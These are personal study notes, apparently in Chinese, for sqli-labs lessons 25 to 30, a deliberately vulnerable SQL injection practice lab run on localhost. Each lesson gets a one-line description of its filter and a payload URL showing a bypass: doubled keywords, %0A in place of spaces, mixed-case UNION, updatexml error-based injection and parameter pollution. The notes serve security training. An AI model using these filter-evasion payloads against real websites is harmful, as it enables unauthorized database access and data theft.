sqli-labs\Less 25~30

less-25——过滤了or和and的单引号注入

http://127.0.0.1/sqli-labs/Less-25/?id=-1%27%20union%20select%201,2,3--+

less-26——基于单引号字符型过滤了注释和空格的注入

http://127.0.0.1/sqli-labs/Less-26/?id=-1%27aandnd(updatexml(1,%27aaaa%27,1))anandd%271%27=%271

 less-27——基于’字符型过滤了union、select与注释和空格的注入

http://127.0.0.1/sqli-labs/Less-27/?id=1%27and(updatexml(1,%27aaaa%27,1))and%271%27=%271

 less-28——基于’)过滤union和select等的注入

http://127.0.0.1/sqli-labs/Less-28/?id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273

less-29 index.php——基于单引号字符型的注入

http://127.0.0.1/sqli-labs/Less-29/?id=1&id=-1%27%20union%20select%201,2,3%20--%20-

less-30 隐藏关login.php——基于双引号的参数绕过  

http://127.0.0.1/sqli-labs/Less-30/?id=1'

Go Back and Try again 

http://127.0.0.1/sqli-labs/Less-30/?id-1&id=1

 参考很多，很迷